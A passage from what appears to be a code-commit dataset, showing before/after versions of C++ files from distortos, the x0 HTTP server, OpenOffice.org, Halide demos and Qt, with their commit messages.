CONFIG_BOARD_TOTAL_LEDS >= 1\n\n\t\/\/ create and immediately start static thread with 1024 bytes of stack, low priority (1), ledBlinkerFunction() will\n\t\/\/ get its own LED by reference and period by value\n\tauto ledBlinkerThread0 = distortos::makeAndStartStaticThread<1024>(1, ledBlinkerFunction,\n\t\t\tstd::ref(distortos::board::leds[0]), std::chrono::milliseconds{397});\n\n#\tif CONFIG_BOARD_TOTAL_LEDS >= 2\n\n\tauto ledBlinkerThread1 = distortos::makeAndStartStaticThread<1024>(1, ledBlinkerFunction,\n\t\t\tstd::ref(distortos::board::leds[1]), std::chrono::milliseconds{389});\n\n#\t\tif CONFIG_BOARD_TOTAL_LEDS >= 3\n\n\tauto ledBlinkerThread2 = distortos::makeAndStartStaticThread<1024>(1, ledBlinkerFunction,\n\t\t\tstd::ref(distortos::board::leds[2]), std::chrono::milliseconds{383});\n\n#\t\t\tif CONFIG_BOARD_TOTAL_LEDS >= 4\n\n\tauto ledBlinkerThread3 = distortos::makeAndStartStaticThread<1024>(1, ledBlinkerFunction,\n\t\t\tstd::ref(distortos::board::leds[3]), std::chrono::milliseconds{379});\n\n\tledBlinkerThread3.join();\n\n#\t\t\tendif\t\/\/ CONFIG_BOARD_TOTAL_LEDS >= 4\n\n\tledBlinkerThread2.join();\n\n#\t\tendif\t\/\/ CONFIG_BOARD_TOTAL_LEDS >= 3\n\n\tledBlinkerThread1.join();\n\n#\tendif\t\/\/ CONFIG_BOARD_TOTAL_LEDS >= 2\n\n\tledBlinkerThread0.join();\n\n#endif\t\/\/ defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n\tvariableBlinkerThread.join();\n\n\treturn 0;\n}\n<commit_msg>Add \"local functions\" header in staticThreadBlinker.cpp<commit_after>\/**\n * \\file\n * \\brief staticThreadBlinker example application\n *\n * \\author Copyright (C) 2016 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"distortos\/distortosConfiguration.h\"\n\n#if defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n#include \"distortos\/board\/leds.hpp\"\n\n#include \"distortos\/chip\/ChipOutputPin.hpp\"\n\n#endif\t\/\/ defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n#include \"distortos\/StaticThread.hpp\"\n#include \"distortos\/ThisThread.hpp\"\n\nnamespace\n{\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n#if defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n\/**\n * \\brief LED blinking function\n *\n * Constantly toggles state of \\a led and waits for half of \\a periodMs.\n *\n * \\param [in] led is a reference to distortos::devices::OutputPin object which will be toggled by this function\n * \\param [in] periodMs is a full (on -> off -> on) period of toggling, milliseconds\n *\/\n\nvoid ledBlinkerFunction(distortos::devices::OutputPin& led, const std::chrono::milliseconds periodMs)\n{\n\twhile (1)\n\t{\n\t\tled.set(!led.get());\t\/\/ invert state of LED\n\t\tdistortos::ThisThread::sleepFor(periodMs \/ 2);\n\t}\n}\n\n#endif\t\/\/ defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n\/**\n * \\brief Boolean variable \"blinking\" function\n *\n * Constantly toggles value of \\a variable and waits for half of \\a periodMs. This function is meant as a demonstration\n * for configuration which either has no LEDs or doesn't enable them.\n *\n * \\param [in] variable is a reference to bool variable which will be toggled by this function\n * \\param [in] periodMs is a full (true -> false -> true) period of toggling, milliseconds\n *\/\n\nvoid variableBlinkerFunction(bool& variable, const std::chrono::milliseconds periodMs)\n{\n\twhile (1)\n\t{\n\t\tvariable = !variable;\t\/\/ invert state of variable\n\t\tdistortos::ThisThread::sleepFor(periodMs \/ 2);\n\t}\n}\n\n}\t\/\/ namespace\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| global functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/**\n * \\brief Main code block of staticThreadBlinker application\n *\n * This example application tries to demonstrate the most basic aspects of static threads:\n * - creating and starting them,\n * - passing arguments to thread's function by reference and by value,\n * - joining them.\n *\n * If the configured board has no LEDs or if they are not enabled in the configuration, only one dummy thread is\n * created - it \"blinks\" a boolean variable instead of a real LED. Otherwise up to four additional threads are created\n * (but no more than the number of LEDs on the board - CONFIG_BOARD_TOTAL_LEDS) - each one blinks its own LED (which was\n * passed to the thread's function by reference) with provided period (passed by value). The periods of blinking are\n * slightly different for each thread, so if there are multiple LEDs they are not in sync with each other. The periods\n * are actually prime numbers, so they create very long \"global\" period (in which the whole pattern repeats).\n *\n * Even though all created threads never terminate (their functions have infinite loops and never return), main thread\n * calls Thread::join() for each of them anyway. This is a good and safe practice, which also happens to be the easiest\n * way to suspend main thread in this example application.\n *\n * \\return doesn't return\n *\/\n\nint main()\n{\n\tbool variable {};\n\t\/\/ create and immediately start static thread with 1024 bytes of stack, low priority (1), variableBlinkerFunction()\n\t\/\/ will get variable by reference and period by value\n\tauto variableBlinkerThread = distortos::makeAndStartStaticThread<1024>(1, variableBlinkerFunction,\n\t\t\tstd::ref(variable), std::chrono::milliseconds{401});\n\n#if defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n\t\/\/ create and immediately start static thread with 1024 bytes of stack, low priority (1), ledBlinkerFunction() will\n\t\/\/ get its own LED by reference and period by value\n\tauto ledBlinkerThread0 = distortos::makeAndStartStaticThread<1024>(1, ledBlinkerFunction,\n\t\t\tstd::ref(distortos::board::leds[0]), std::chrono::milliseconds{397});\n\n#\tif CONFIG_BOARD_TOTAL_LEDS >= 2\n\n\tauto ledBlinkerThread1 = distortos::makeAndStartStaticThread<1024>(1, ledBlinkerFunction,\n\t\t\tstd::ref(distortos::board::leds[1]), std::chrono::milliseconds{389});\n\n#\t\tif CONFIG_BOARD_TOTAL_LEDS >= 3\n\n\tauto ledBlinkerThread2 = distortos::makeAndStartStaticThread<1024>(1, ledBlinkerFunction,\n\t\t\tstd::ref(distortos::board::leds[2]), std::chrono::milliseconds{383});\n\n#\t\t\tif CONFIG_BOARD_TOTAL_LEDS >= 4\n\n\tauto ledBlinkerThread3 = distortos::makeAndStartStaticThread<1024>(1, ledBlinkerFunction,\n\t\t\tstd::ref(distortos::board::leds[3]), std::chrono::milliseconds{379});\n\n\tledBlinkerThread3.join();\n\n#\t\t\tendif\t\/\/ CONFIG_BOARD_TOTAL_LEDS >= 4\n\n\tledBlinkerThread2.join();\n\n#\t\tendif\t\/\/ CONFIG_BOARD_TOTAL_LEDS >= 3\n\n\tledBlinkerThread1.join();\n\n#\tendif\t\/\/ CONFIG_BOARD_TOTAL_LEDS >= 2\n\n\tledBlinkerThread0.join();\n\n#endif\t\/\/ defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n\tvariableBlinkerThread.join();\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of the \"x0\" project\n\/\/ (c) 2009-2014 Christian Parpart <trapni@gmail.com>\n\/\/\n\/\/ Licensed under the MIT License (the \"License\"); you may not use this\n\/\/ file except in compliance with the License. You may obtain a copy of\n\/\/ the License at: http:\/\/opensource.org\/licenses\/MIT\n\n\/**\n * HTTP Server example for serving local static files.\n *\n * Highlights:\n *\n * This code has builtin support for:\n * <ul>\n * <li> GET and HEAD requests <\/li>\n * <li> client cache aware response handling <\/li>\n * <li> Range requests <\/li>\n * <\/ul>\n *\n *\/\n\n#include <xzero\/HttpRequest.h>\n#include <xzero\/HttpServer.h>\n#include <sys\/stat.h>\n#include <stdio.h>\n#include <ev++.h>\n\nint main() {\n xzero::HttpServer httpServer(ev::default_loop(0));\n httpServer.setupListener(\"0.0.0.0\", 3000);\n\n char cwd[1024];\n if (!getcwd(cwd, sizeof(cwd))) {\n cwd[0] = '.';\n cwd[1] = '\\0';\n }\n\n printf(\"Serving HTTP from 0.0.0.0:3000 ...\\n\");\n\n httpServer.requestHandler = [&](xzero::HttpRequest* r) {\n r->documentRoot = cwd;\n r->fileinfo = r->connection.worker().fileinfo(r->documentRoot + r->path);\n if (r->fileinfo) {\n r->sendfile(r->fileinfo);\n } else {\n r->status = xzero::HttpStatus::NotFound;\n }\n r->finish();\n };\n\n return httpServer.run();\n}\n<commit_msg>libxzero: improves staticfile example code quality<commit_after>\/\/ This file is part of the \"x0\" project\n\/\/ (c) 2009-2014 Christian Parpart <trapni@gmail.com>\n\/\/\n\/\/ Licensed under the MIT License (the \"License\"); you may not use this\n\/\/ file except in compliance with the License. You may obtain a copy of\n\/\/ the License at: http:\/\/opensource.org\/licenses\/MIT\n\n\/**\n * HTTP Server example for serving local static files.\n *\n * Highlights:\n *\n * This code has builtin support for:\n * <ul>\n * <li> GET and HEAD requests <\/li>\n * <li> client cache aware response handling <\/li>\n * <li> Range requests <\/li>\n * <\/ul>\n *\n *\/\n\n#include <xzero\/HttpRequest.h>\n#include <xzero\/HttpServer.h>\n#include <sys\/stat.h>\n#include <stdio.h>\n#include <ev++.h>\n\nint main() {\n xzero::HttpServer httpServer(ev::default_loop(0));\n httpServer.setupListener(\"0.0.0.0\", 3000);\n\n char cwd[1024];\n if (!getcwd(cwd, sizeof(cwd))) {\n cwd[0] = '.';\n cwd[1] = '\\0';\n }\n\n printf(\"Serving HTTP from 0.0.0.0:3000 ...\\n\");\n\n httpServer.requestHandler = [&](xzero::HttpRequest* r) {\n r->documentRoot = cwd;\n r->fileinfo = r->connection.worker().fileinfo(r->documentRoot + r->path);\n r->sendfile(r->fileinfo);\n r->finish();\n };\n\n return httpServer.run();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: geometrycontrolmodel_impl.hxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 12:49:20 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ no include protection. This is included from within geometrycontrolmodel.hxx only\n\n\/\/====================================================================\n\/\/= OGeometryControlModel\n\/\/====================================================================\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\nOGeometryControlModel<CONTROLMODEL>::OGeometryControlModel()\n :OGeometryControlModel_Base(new CONTROLMODEL)\n{\n}\n\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\nOGeometryControlModel<CONTROLMODEL>::OGeometryControlModel(::com::sun::star::uno::Reference< ::com::sun::star::util::XCloneable >& _rxAggregateInstance)\n :OGeometryControlModel_Base(_rxAggregateInstance)\n{\n}\n\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\n::cppu::IPropertyArrayHelper& SAL_CALL OGeometryControlModel<CONTROLMODEL>::getInfoHelper()\n{\n return *this->getArrayHelper();\n}\n\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\nvoid OGeometryControlModel<CONTROLMODEL>::fillProperties(::com::sun::star::uno::Sequence< ::com::sun::star::beans::Property >& _rProps, ::com::sun::star::uno::Sequence< ::com::sun::star::beans::Property >& _rAggregateProps) const\n{\n \/\/ our own properties\n OPropertyContainer::describeProperties(_rProps);\n \/\/ the aggregate properties\n if (m_xAggregateSet.is())\n _rAggregateProps = m_xAggregateSet->getPropertySetInfo()->getProperties();\n}\n\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\n::com::sun::star::uno::Sequence< sal_Int8 > SAL_CALL OGeometryControlModel<CONTROLMODEL>::getImplementationId( ) throw (::com::sun::star::uno::RuntimeException)\n{\n static ::cppu::OImplementationId * pId = NULL;\n if ( !pId )\n {\n ::osl::MutexGuard aGuard( ::osl::Mutex::getGlobalMutex() );\n if ( !pId )\n {\n static ::cppu::OImplementationId s_aId;\n pId = &s_aId;\n }\n }\n return pId->getImplementationId();\n}\n\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\nOGeometryControlModel_Base* OGeometryControlModel<CONTROLMODEL>::createClone_Impl(\n ::com::sun::star::uno::Reference< ::com::sun::star::util::XCloneable >& _rxAggregateInstance)\n{\n return new OGeometryControlModel<CONTROLMODEL>(_rxAggregateInstance);\n}\n\n\n\/*************************************************************************\n * history:\n * $Log: not supported by cvs2svn $\n * Revision 1.4.122.1 2005\/09\/05 16:57:39 rt\n * #i54170# Change license header: remove SISSL\n *\n * Revision 1.4 2004\/07\/30 15:33:34 kz\n * INTEGRATION: CWS gcc340fixes01 (1.3.268); FILE MERGED\n * 2004\/07\/13 16:56:04 hr 1.3.268.1: #i31439#: fix template resolution\n *\n * Revision 1.3.268.1 2004\/07\/13 16:56:04 hr\n * #i31439#: fix template resolution\n *\n * Revision 1.3 2001\/09\/05 06:40:48 fs\n * #88891# override the XTypeProvider methods\n *\n * Revision 1.2 2001\/03\/02 12:34:13 tbe\n * clone geometry control model\n *\n * Revision 1.1 2001\/01\/24 14:57:30 mt\n * model for dialog controls (weith pos\/size)\n *\n *\n * Revision 1.0 17.01.01 12:50:24 fs\n ************************************************************************\/\n\n<commit_msg>INTEGRATION: CWS rt15 (1.5.104); FILE MERGED 2006\/06\/27 09:19:40 rt 1.5.104.1: #i54459# CVS history removed from file.<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: geometrycontrolmodel_impl.hxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: rt $ $Date: 2006-07-25 09:19:49 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ no include protection. This is included from within geometrycontrolmodel.hxx only\n\n\/\/====================================================================\n\/\/= OGeometryControlModel\n\/\/====================================================================\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\nOGeometryControlModel<CONTROLMODEL>::OGeometryControlModel()\n :OGeometryControlModel_Base(new CONTROLMODEL)\n{\n}\n\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\nOGeometryControlModel<CONTROLMODEL>::OGeometryControlModel(::com::sun::star::uno::Reference< ::com::sun::star::util::XCloneable >& _rxAggregateInstance)\n :OGeometryControlModel_Base(_rxAggregateInstance)\n{\n}\n\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\n::cppu::IPropertyArrayHelper& SAL_CALL OGeometryControlModel<CONTROLMODEL>::getInfoHelper()\n{\n return *this->getArrayHelper();\n}\n\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\nvoid OGeometryControlModel<CONTROLMODEL>::fillProperties(::com::sun::star::uno::Sequence< ::com::sun::star::beans::Property >& _rProps, ::com::sun::star::uno::Sequence< ::com::sun::star::beans::Property >& _rAggregateProps) const\n{\n \/\/ our own properties\n OPropertyContainer::describeProperties(_rProps);\n \/\/ the aggregate properties\n if (m_xAggregateSet.is())\n _rAggregateProps = m_xAggregateSet->getPropertySetInfo()->getProperties();\n}\n\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\n::com::sun::star::uno::Sequence< sal_Int8 > SAL_CALL OGeometryControlModel<CONTROLMODEL>::getImplementationId( ) throw (::com::sun::star::uno::RuntimeException)\n{\n static ::cppu::OImplementationId * pId = NULL;\n if ( !pId )\n {\n ::osl::MutexGuard aGuard( ::osl::Mutex::getGlobalMutex() );\n if ( !pId )\n {\n static ::cppu::OImplementationId s_aId;\n pId = &s_aId;\n }\n }\n return pId->getImplementationId();\n}\n\n\/\/--------------------------------------------------------------------\ntemplate <class CONTROLMODEL>\nOGeometryControlModel_Base* OGeometryControlModel<CONTROLMODEL>::createClone_Impl(\n ::com::sun::star::uno::Reference< ::com::sun::star::util::XCloneable >& _rxAggregateInstance)\n{\n return new OGeometryControlModel<CONTROLMODEL>(_rxAggregateInstance);\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"..\/..\/src\/buffer_t.h\"\n\n\/\/ TODO: use custom version to test use of user-created OpenGL context.\nextern \"C\" int halide_opengl_create_context();\n\nclass Image {\npublic:\n enum Layout {\n Interleaved, Planar\n };\n\n buffer_t buf;\n\n Image(int w, int h, int c, int elem_size, Layout layout = Interleaved) {\n memset(&buf, 0, sizeof(buffer_t));\n buf.extent[0] = w;\n buf.extent[1] = h;\n buf.extent[2] = c;\n buf.elem_size = elem_size;\n\n if (layout == Interleaved) {\n buf.stride[0] = buf.extent[2];\n buf.stride[1] = buf.extent[0] * buf.stride[0];\n buf.stride[2] = 1;\n } else {\n buf.stride[0] = 1;\n buf.stride[1] = buf.extent[0] * buf.stride[0];\n buf.stride[2] = buf.extent[1] * buf.stride[1];\n }\n size_t size = w * h * c * elem_size;\n buf.host = (uint8_t*)malloc(size);\n memset(buf.host, 0, size);\n buf.host_dirty = true;\n }\n ~Image() {\n free(buf.host);\n }\n};\n\n#include \"blur.h\"\n#include \"ycc.h\"\n\nvoid test_blur() {\n const int W = 12, H = 32, C = 3;\n Image input(W, H, C, sizeof(uint8_t), Image::Planar);\n Image output(W, H, C, sizeof(uint8_t), Image::Planar);\n\n fprintf(stderr, \"test_blur\\n\");\n blur_filter(&input.buf, &output.buf);\n fprintf(stderr, \"test_blur complete\\n\");\n}\n\nvoid test_ycc() {\n const int W = 12, H = 32, C = 3;\n Image input(W, H, C, sizeof(uint8_t), Image::Planar);\n Image output(W, H, C, sizeof(uint8_t), Image::Planar);\n\n fprintf(stderr, \"test_ycc\\n\");\n ycc_filter(&input.buf, &output.buf);\n fprintf(stderr, \"Ycc complete\\n\");\n}\n\nint main(int argc, char* argv[]) {\n if (halide_opengl_create_context() != 0) {\n\tfprintf(stderr, \"Could not create OpenGL context\\n\");\n exit(1);\n }\n test_blur();\n test_ycc();\n}\n<commit_msg>Fix apps\/glsl. Include HalideRuntime.h instead of removed buffer_t.h<commit_after>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"HalideRuntime.h\"\n\n\/\/ TODO: use custom version to test use of user-created OpenGL context.\nextern \"C\" int halide_opengl_create_context();\n\nclass Image {\npublic:\n enum Layout {\n Interleaved, Planar\n };\n\n buffer_t buf;\n\n Image(int w, int h, int c, int elem_size, Layout layout = Interleaved) {\n memset(&buf, 0, sizeof(buffer_t));\n buf.extent[0] = w;\n buf.extent[1] = h;\n buf.extent[2] = c;\n buf.elem_size = elem_size;\n\n if (layout == Interleaved) {\n buf.stride[0] = buf.extent[2];\n buf.stride[1] = buf.extent[0] * buf.stride[0];\n buf.stride[2] = 1;\n } else {\n buf.stride[0] = 1;\n buf.stride[1] = buf.extent[0] * buf.stride[0];\n buf.stride[2] = buf.extent[1] * buf.stride[1];\n }\n size_t size = w * h * c * elem_size;\n buf.host = (uint8_t*)malloc(size);\n memset(buf.host, 0, size);\n buf.host_dirty = true;\n }\n ~Image() {\n free(buf.host);\n }\n};\n\n#include \"blur.h\"\n#include \"ycc.h\"\n\nvoid test_blur() {\n const int W = 12, H = 32, C = 3;\n Image input(W, H, C, sizeof(uint8_t), Image::Planar);\n Image output(W, H, C, sizeof(uint8_t), Image::Planar);\n\n fprintf(stderr, \"test_blur\\n\");\n blur_filter(&input.buf, &output.buf);\n fprintf(stderr, \"test_blur complete\\n\");\n}\n\nvoid test_ycc() {\n const int W = 12, H = 32, C = 3;\n Image input(W, H, C, sizeof(uint8_t), Image::Planar);\n Image output(W, H, C, sizeof(uint8_t), Image::Planar);\n\n fprintf(stderr, \"test_ycc\\n\");\n ycc_filter(&input.buf, &output.buf);\n fprintf(stderr, \"Ycc complete\\n\");\n}\n\nint main(int argc, char* argv[]) {\n if (halide_opengl_create_context() != 0) {\n\tfprintf(stderr, \"Could not create OpenGL context\\n\");\n exit(1);\n }\n test_blur();\n test_ycc();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Halide.h\"\nusing namespace Halide;\n\nVar x(\"x\"), y(\"y\"), c(\"c\");\n\nint main(int argc, char **argv) {\n\n \/\/ First define the function that gives the initial state.\n {\n Func initial;\n\n \/\/ The state is just a counter\n initial() = 0;\n initial.compile_to_file(\"julia_init\");\n }\n\n \/\/ Then the function that updates the state. Also depends on user input.\n {\n ImageParam state(Int(32), 0);\n Param<int> mouse_x, mouse_y;\n Func new_state;\n \/\/ Increment the counter\n new_state() = state() + 1;\n new_state.compile_to_file(\"julia_update\", state, mouse_x, mouse_y);\n }\n\n \/\/ Now the function that converts the state into an argb image.\n {\n ImageParam state(Int(32), 0);\n\n Expr c_real = cos(state() \/ 30.0f);\n Expr c_imag = sin(state() \/ 30.0f);\n Expr r_adjust = (cos(state() \/ 43.0f) + 2.0f) * 0.25f;\n c_real *= r_adjust;\n c_imag *= r_adjust;\n\n Func julia;\n julia(x, y, c) = Tuple((x - 511.5f)\/350.0f, (y - 511.5f)\/350.0f);\n\n const int iters = 20;\n\n RDom t(1, iters);\n Expr old_real = julia(x, y, t-1)[0];\n Expr old_imag = julia(x, y, t-1)[1];\n\n Expr new_real = old_real * old_real - old_imag * old_imag + c_real;\n Expr new_imag = 2 * old_real * old_imag + c_imag;\n Expr mag = new_real * new_real + new_imag * new_imag;\n new_real = select(mag > 1e20f, old_real, new_real);\n new_imag = select(mag > 1e20f, old_imag, new_imag);\n\n julia(x, y, t) = Tuple(new_real, new_imag);\n\n \/\/ What's the closest to the origin a point gets in 20 iterations?\n new_real = julia(x, y, t)[0];\n new_imag = julia(x, y, t)[1];\n mag = new_real * new_real + new_imag * new_imag;\n Expr escape = minimum(mag);\n\n \/\/ Now pick a color based on that\n Expr r_f = 16 * sqrt(2.0f\/(escape + 0.01f));\n Expr b_f = 512 * escape * fast_exp(-escape*escape);\n Expr g_f = (r_f + b_f)\/2;\n\n Expr min_c = min(r_f, min(b_f, g_f));\n r_f -= min_c;\n b_f -= min_c;\n g_f -= min_c;\n\n Expr r = cast<int32_t>(min(r_f, 255));\n Expr g = cast<int32_t>(min(g_f, 255));\n Expr b = cast<int32_t>(min(b_f, 255));\n Expr color = (255 << 24) | (r << 16) | (g << 8) | b;\n\n Func render;\n render(x, y) = color;\n\n Var yi;\n\n \/\/ The julia set has rotational symmetry, so we just render\n \/\/ the top half and then flip it for the bottom half.\n Func final;\n Expr y_up = min(y, 511);\n Expr y_down = max(y, 512);\n final(x, y) = select(y < 512,\n render(x, y_up),\n render(1023 - x, 1023 - y_down));\n\n Var yo;\n final.bound(x, 0, 1024).bound(y, 0, 1024);\n final.split(y, y, yi, 4).parallel(y);\n\n render.compute_root();\n render.bound(x, 0, 1024).bound(y, 0, 512);\n render.split(y, y, yi, 4).parallel(y);\n\n julia.compute_at(render, x);\n\n render.vectorize(x, 4);\n julia.update().vectorize(x, 4);\n final.vectorize(x, 4);\n final.compile_to_file(\"julia_render\", state);\n }\n\n return 0;\n}\n<commit_msg>Julia demo looks cooler still<commit_after>#include \"Halide.h\"\nusing namespace Halide;\n\nVar x(\"x\"), y(\"y\"), c(\"c\");\n\nint main(int argc, char **argv) {\n\n \/\/ First define the function that gives the initial state.\n {\n Func initial;\n\n \/\/ The state is just a counter\n initial() = 0;\n initial.compile_to_file(\"julia_init\");\n }\n\n \/\/ Then the function that updates the state. Also depends on user input.\n {\n ImageParam state(Int(32), 0);\n Param<int> mouse_x, mouse_y;\n Func new_state;\n \/\/ Increment the counter\n new_state() = state() + 1;\n new_state.compile_to_file(\"julia_update\", state, mouse_x, mouse_y);\n }\n\n \/\/ Now the function that converts the state into an argb image.\n {\n ImageParam state(Int(32), 0);\n\n Expr c_real = cos(state() \/ 60.0f);\n Expr c_imag = sin(state() \/ 43.0f);\n Expr r_adjust = (cos(state() \/ 86.0f) + 2.0f) * 0.25f;\n c_real *= r_adjust;\n c_imag *= r_adjust;\n\n Func julia;\n julia(x, y, c) = Tuple((x - 511.5f)\/350.0f, (y - 511.5f)\/350.0f);\n\n const int iters = 20;\n\n RDom t(1, iters);\n Expr old_real = julia(x, y, t-1)[0];\n Expr old_imag = julia(x, y, t-1)[1];\n\n Expr new_real = old_real * old_real - old_imag * old_imag + c_real;\n Expr new_imag = 2 * old_real * old_imag + c_imag;\n Expr mag = new_real * new_real + new_imag * new_imag;\n new_real = select(mag > 1e20f, old_real, new_real);\n new_imag = select(mag > 1e20f, old_imag, new_imag);\n\n julia(x, y, t) = Tuple(new_real, new_imag);\n\n \/\/ Define some arbitrary measure on the complex plane, and\n \/\/ compute the minimum of that measure over the orbit of each\n \/\/ point.\n new_real = julia(x, y, t)[0];\n new_imag = julia(x, y, t)[1];\n mag = new_real * c_real - new_imag * new_imag * c_imag;\n Expr measure = minimum(abs(mag - 0.1f));\n\n \/\/ Now pick a color based on that\n Expr r_f = 16 * sqrt(2.0f\/(measure + 0.01f));\n Expr b_f = 512 * measure * fast_exp(-measure*measure);\n Expr g_f = (r_f + b_f)\/2;\n\n Expr min_c = min(r_f, min(b_f, g_f));\n r_f -= min_c;\n b_f -= min_c;\n g_f -= min_c;\n\n Expr r = cast<int32_t>(min(r_f, 255));\n Expr g = cast<int32_t>(min(g_f, 255));\n Expr b = cast<int32_t>(min(b_f, 255));\n Expr color = (255 << 24) | (r << 16) | (g << 8) | b;\n\n Func render;\n render(x, y) = color;\n\n Var yi;\n\n \/\/ The julia set has rotational symmetry, so we just render\n \/\/ the top half and then flip it for the bottom half.\n Func final;\n Expr y_up = min(y, 511);\n Expr y_down = max(y, 512);\n final(x, y) = select(y < 512,\n render(x, y_up),\n render(1023 - x, 1023 - y_down));\n\n Var yo;\n final.bound(x, 0, 1024).bound(y, 0, 1024);\n final.split(y, y, yi, 4).parallel(y);\n\n render.compute_root();\n render.bound(x, 0, 1024).bound(y, 0, 512);\n render.split(y, y, yi, 4).parallel(y);\n\n julia.compute_at(render, x);\n\n render.vectorize(x, 4);\n julia.update().vectorize(x, 4);\n final.vectorize(x, 4);\n final.compile_to_file(\"julia_render\", state);\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** Contact: Qt Software Information (qt-info@nokia.com)\n**\n** This file is part of the QtDeclarative module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the either Technology Preview License Agreement or the\n** Beta Release License Agreement.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain\n** additional rights. These rights are described in the Nokia Qt LGPL\n** Exception version 1.0, included in the file LGPL_EXCEPTION.txt in this\n** package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU General Public License version 3.0 requirements will be\n** met: http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at qt-sales@nokia.com.\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qfximage.h\"\n#include \"qfximage_p.h\"\n\n#include <QKeyEvent>\n#include <QPainter>\n\nQT_BEGIN_NAMESPACE\n\n\nQML_DEFINE_TYPE(Qt,4,6,(QT_VERSION&0x00ff00)>>8,Image,QFxImage)\n\n\/*!\n \\qmlclass Image QFxImage\n \\brief The Image element allows you to add bitmaps to a scene.\n \\inherits Item\n\n The Image element supports untransformed, stretched and tiled.\n\n For an explanation of stretching and tiling, 